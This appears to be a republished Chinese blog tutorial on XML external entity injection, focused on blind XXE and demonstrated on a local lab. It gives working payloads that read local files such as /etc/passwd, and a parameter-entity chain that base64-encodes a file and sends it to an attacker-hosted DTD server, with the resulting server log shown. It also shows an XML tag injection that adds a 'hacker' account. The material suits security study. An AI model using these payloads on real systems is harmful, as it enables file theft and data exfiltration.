XML外部实体注入2:无回显的XXE

Posted 如三岁兮

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XML外部实体注入2:无回显的XXE相关的知识,希望对你有一定的参考价值。

XML外部实体注入2:无回显的XXE

生如夏花之绚烂,死如秋叶之静美。

—— 泰戈尔 《生如夏花》


0 1
XML基础

XML

首先要先说下 xml。xml 是一种可扩展的标记语言,主要就是用来传输数据的,你可以理解为就是一种写法类似于 html 语言的数据格式文档。但是 xml 跟 html 是为不同目的而设计的,html 旨在显示数据信息,而 xml 旨在传输数据信息。

而且xml的标签是自己自定义,且标签一定要闭合,语法比html严格(毕竟html可以各种不闭合,较为宽松)

dtd

document type definition  DTD 中定义元素(其实就是对应 XML 中的标签) 在 DTD 中定义实体(对应XML 标签中的内容),毕竟XML 中除了能标签以外,还需要有些内容是固定的

它长这个样子

<?xml version="1.0"?>//这一行是 XML 文档定义
<!DOCTYPE message [ //定义是一个message类型的文档
<!ELEMENT message (receiver ,sender ,header ,msg)> //定义message元素有receiver ,sender ,header ,msg元素
<!ELEMENT receiver (#PCDATA)> 定义 receiver 元素为 "#PCDATA" 类型
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>

这个样子定义完了dtd后,写的xml内容就必须得是这个样子了

<message>
<receiver>Myself</receiver>
<sender>Someone</sender>
<header>TheReminder</header>
<msg>This is an amazing book</msg>
</message>

实体呢?重要的实体呢

来了


<?xml version="1.0" encoding="UTF-8"?>
         
<!DOCTYPE note [
<!ELEMENT note (body)>
<!ELEMENT body (#PCDATA)>
<!ENTITY writer "hello word">        //实体  相当于一个变量吧
]>

在文档中就该如此声明

                                                                        
<note> //根元素
<body>&writer</body> body元素中引用writer实体
</note>



0 3
XML内部注入

这是一个相当鸡肋的漏洞,我们的目标以及注意力应该是外部注入,而不是这个

<?xml version="1.0" encoding="utf-8" ?>

<USER>

 <user Account="admin">用户输入</user>

<user Account="root">root</user>

</USER>

比如上面这个,用户输入的一个标签,但是假如攻击者能够新增、闭合前面的标签的话,输入了下面的payload

admin</user><user Account="hacker">hacker

就变成了

<?xml version="1.0" encoding="utf-8" ?>

<USER>

 <user Account="admin">admin</user>
 <user Account="hacker">hacker</user>
 <user Account="root">root</user>

</USER>

这样改变了xml的结构了,可能就会造成其他后果,比如添加了个hacker的管理员

引用先知的一张图:

0 4
靶场代码

来查看一个内部的注入

XML外部实体注入2:无回显的XXE

XML外部实体注入2:无回显的XXE


0 5
XML实体分类

1. 内置实体 (Built-in entities) 貌似没啥关系

2. 字符实体 (Character entities) 貌似没啥关系

3. 通用实体 (General entities) 着重了解

4. 参数实体 (Parameter entities) 着重了解

通用实体就是刚刚内部实体注入展示的那种

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>

<root>
 <body>&xxe</body>
</root>

而参数实体则是这种(XXE盲注的主力军)

<!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> <!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd"> %an-element; %remote-dtd;

区别则是多了个%(并且**只能在 dtd 中使用`% 实体名`**)

参数实体也可以外部引用 dtd。所以这里的重点就是**参数实体只能在 dtd 中使用,引用。**

0 6
DTD 实体的相关语法

DTD 有两种构建方式,分别为内部 DTD 声明和外部 DTD 引用。

内部 DTD 声明:

<! DOCTYPE 根元素 [元素声明]>

外部 DTD 引用:

<! DOCTYPE 根元素 SYSTEM "文件名">

DTD 实体同样有两种构建方式,分别为内部实体声明和外部实体声明。

内部实体声明:

<!ENTITY entity-name "entity-value">

外部实体声明:

<!ENTITY entity-name SYSTEM "URI/URL">

外部实体示例:

<!DOCTYPE hlw [<!ELEMENT foo ANY >

<!ENTITY  xxe SYSTEM "file:///etc/passwd" >]>

<hlw>&xxe;</hlw>

上述代码中,XML 的外部实体 `“xxe”` 被赋予的值为:`file:///etc/passwd`

当解析 xml 文档时,xxe 会被替换为 `file:///etc/passwd` 的内容。


0 7
XML外部实体注入

有回显的注入

实践演示一下:

读取system.ini文件

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [  
<!ENTITY xxe SYSTEM "file:///c:/windows/system.ini"> ]>
<user><username>&xxe;</username><password>test</password></user>

XML外部实体注入2:无回显的XXE

初阶的利用就这样,但是这样读取文件的话如果碰到有特殊字符,则会错误,读取不了,具体的特殊字符为:

XML外部实体注入2:无回显的XXE

比如直接读取的话带有这些特殊字符的话

XML外部实体注入2:无回显的XXE

当然我们也可以使用CDATA忽略解析文本数据

XML外部实体注入2:无回显的XXE

构造的payload如下


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % start "<![CDATA[">  
<!ENTITY % go SYSTEM "file:///d:/webserver/WWW/test.txt">  
<!ENTITY % end "]]>">  
<!ENTITY % dtd SYSTEM "http://127.0.0.1/2.dtd">  //vps的dtd地址
%dtd; ]>
<user><username>&all;</username><password>test</password></user>
<!ENTITY all "%start;%go;%end;">

XML外部实体注入2:无回显的XXE


无回显的注入


<?xml version="1.0"?>
<!DOCTYPE message [
   <!ENTITY % remote SYSTEM "http://127.0.0.1/3.dtd">  
   <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///d:/webserver/WWW/test.txt">
   %remote;
   %send;
]>

3.dtd内容

<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://127.0.0.1/?%file;'>">
%start;

在 3.dtd中,之所以要把“%”转成 html 实体编码是因为在实体的值中不能有“%”,所以也就只能转成`&#x25`了。

我们现在有回显的靶场看看

XML外部实体注入2:无回显的XXE

发现虽然报错了,但是有一条记录值得我们关注

由于之前我们用了base64编码(防止解析不了)

XML外部实体注入2:无回显的XXE

在没回显的我们该怎么看呢?

可以查看中间件的日志文件

127.0.0.1 - - [26/Mar/2020:22:43:43 +0800] "GET /?CjExMTEKMTExMQoKPD4iIiY= HTTP/1.0" 403 169 "-" "-"
127.0.0.1 - - [26/Mar/2020:22:43:43 +0800] "POST /noteb/vul/xxe/xxe1/doLogin.php HTTP/1.1" 200 450 "http://127.0.0.1/noteb/vul/xxe/xxe2/index.html" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0"
0 8
后续

其他利用方式待更新


更多精彩推荐,请关注我们



以上是关于XML外部实体注入2:无回显的XXE的主要内容,如果未能解决你的问题,请参考以下文章

XML注入详解xxe攻击利用

漏洞经验分享丨Java审计之XXE(下)

不可错过!命令执行无回显的一些姿势

不可错过!命令执行无回显的一些姿势

文库 | XML外部实体注入总结(XXE)

Web漏洞|XXE漏洞详解(XML外部实体注入)